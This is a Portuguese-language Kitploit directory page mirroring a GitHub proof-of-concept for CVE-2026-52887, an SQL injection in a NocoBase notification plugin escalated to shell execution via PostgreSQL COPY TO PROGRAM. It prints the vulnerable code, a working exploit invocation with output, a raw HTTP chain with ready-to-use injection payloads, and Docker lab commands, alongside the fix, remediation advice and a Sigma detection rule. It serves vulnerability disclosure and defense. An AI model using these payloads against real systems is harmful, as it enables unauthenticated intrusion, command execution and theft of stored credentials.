Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-52887-NocoBase-SQLi-RCE — CVE-2026-52887 — Injeção SQL no NocoBase -> RCE como superusuário do PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC do autor + análise de código-fonte + laboratório docker. | Kitploit
Ferramentas/GitHubGitHub/biitts/cve-2026-52887-nocobase-sqli-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança de Banco de DadosLabs e Prática
GitHubbiitts/cve-2026-52887-nocobase-sqli-rce

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — Injeção SQL no NocoBase -> RCE como superusuário do PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC do autor + análise de código-fonte + laboratório docker.

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-52887 — Injeção de SQL no NocoBase → RCE como superusuário do PostgreSQL

Injeção de SQL na ação myInAppChannels:list do NocoBase @nocobase/plugin-notification-in-app-message (≤ 2.0.60). O parâmetro de requisição filter[latestMsgReceiveTimestamp][$lt] é interpolado diretamente em uma string SQL crua Sequelize.literal() sem escape ou binding. Através do suporte a stacked statements do driver pg do PostgreSQL, a injeção alcança COPY … TO PROGRAM e, como o compose padrão do fornecedor cria o papel (role) nocobase do banco como superusuário, isso resulta em execução de comandos shell como usuário postgres do SO. O endpoint exige um usuário logado, mas o plugin padrão auth-basic é distribuído com auto-cadastro habilitado, então qualquer visitante anônimo pode se registrar e alcançá-lo.

CVECVE-2026-52887
ProdutoNocoBase (@nocobase/plugin-notification-in-app-message)
Afetado≤ 2.0.60 (verificado em nocobase/nocobase:2.0.57)
Corrigido2.0.61
ClasseInjeção de SQL (CWE-89) → execução de comandos do SO
CVSS 3.110.0 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA)
AuthEfetivamente não autenticado — auth-basic padrão com allowSignUp: true
StatusCONFIRMADO VULNERÁVEL — verificado de ponta a ponta em 2.0.57

Causa raiz

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, handler de myInAppChannels:list (2.0.57):

root@kitploit:~
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt vem direto da query da requisição (filter[latestMsgReceiveTimestamp][$lt]=…) e é concatenado em um Sequelize.literal() — SQL cru, sem binding de parâmetros, sem coerção de tipo. Um atacante fecha a comparação e anexa SQL arbitrário.

De SQLi a RCE

  • O NocoBase roda sobre PostgreSQL através do driver pg, que permite stacked statements (… ; …). O fragmento injetado anexa uma segunda declaração.
  • O docker-compose.yml padrão do fornecedor cria o papel nocobase via POSTGRES_USER da imagem postgres, que é sempre um superusuário.
  • Um superusuário pode executar COPY (…) TO PROGRAM '<shell>', executando <shell> como o usuário postgres do SO dentro do container do banco.

Alcançando o endpoint sem autenticação

O ACL de myInAppChannels é loggedIn, mas o plugin padrão auth-basic é distribuído com allowSignUp: true. Um atacante anônimo se auto-registra (POST /api/auth:signUp?authenticator=basic), faz login para obter um bearer token e prossegue — portanto, em uma instalação padrão, isso não é autenticado na prática.

A correção (2.0.61)

defineMyInAppChannels.ts adiciona parseLatestMsgReceiveTimestampLt(), que força o valor através de Number() (rejeitando entrada não numérica / não finita com 400) e passa a usar uma comparação com binding:

root@kitploit:~
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

Prova de conceito

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s  control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Cadeia HTTP crua:

root@kitploit:~
POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# oracle baseado em tempo (≈5s de atraso):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# RCE via stacked statement:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd aceita qualquer comando shell (reverse shell, callback OAST, leitura de linhas do banco via COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', etc.).

Reproduzindo o laboratório

Não há bridge Docker neste host, então execute ambos os containers com rede do host:

root@kitploit:~
docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

Limite da versão corrigida (rejeitado):

root@kitploit:~
docker run ... nocobase/nocobase:2.0.61   # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200

Consulte EVIDENCE.txt para o transcript capturado e ANALYSIS.md para a análise em nível de código-fonte.

Veredito

CONFIRMADO VULNERÁVEL em nocobase/nocobase:2.0.57, verificado por duas técnicas independentes:

  1. Cego baseado em tempo — o payload PG_SLEEP(5) atrasa a resposta ~5,0s enquanto uma requisição idêntica sem o sleep retorna em ~0,03s no mesmo endpoint (descarta rate limiter / artefato de retry).
  2. RCE via stacked statement — um arquivo que não existia antes da requisição contém uid=999(postgres) gid=999(postgres), a saída real de id(1) executado como o usuário postgres do SO, não um eco do payload.

CORRIGIDO em nocobase/nocobase:2.0.61 — ambos os payloads retornam HTTP 400 enquanto um $lt numérico ainda retorna 200.

Impacto

Execução remota de código como o usuário postgres do SO dentro do container do banco: leitura/escrita completa do banco do NocoBase, exposição de todos os segredos e credenciais de usuário armazenados, e uma base para movimento lateral. Acessível por qualquer visitante anônimo em uma instalação padrão.

Remediação

  • Atualize para NocoBase ≥ 2.0.61.
  • Não execute o papel PostgreSQL da aplicação como superusuário; conceda apenas os privilégios que o app precisa (remove a primitiva COPY … TO PROGRAM).
  • Desative o auto-cadastro público (allowSignUp: false) onde não for necessário.

Detecção

Requisições myInAppChannels:list cujo valor de filter[latestMsgReceiveTimestamp][$lt] não seja um número simples, e logs do PostgreSQL contendo COPY … TO PROGRAM:

root@kitploit:~
GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (log de acesso do servidor web):

root@kitploit:~
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

Licença

MIT. © Caio Fabrício (BiiTts).

Baixar ferramenta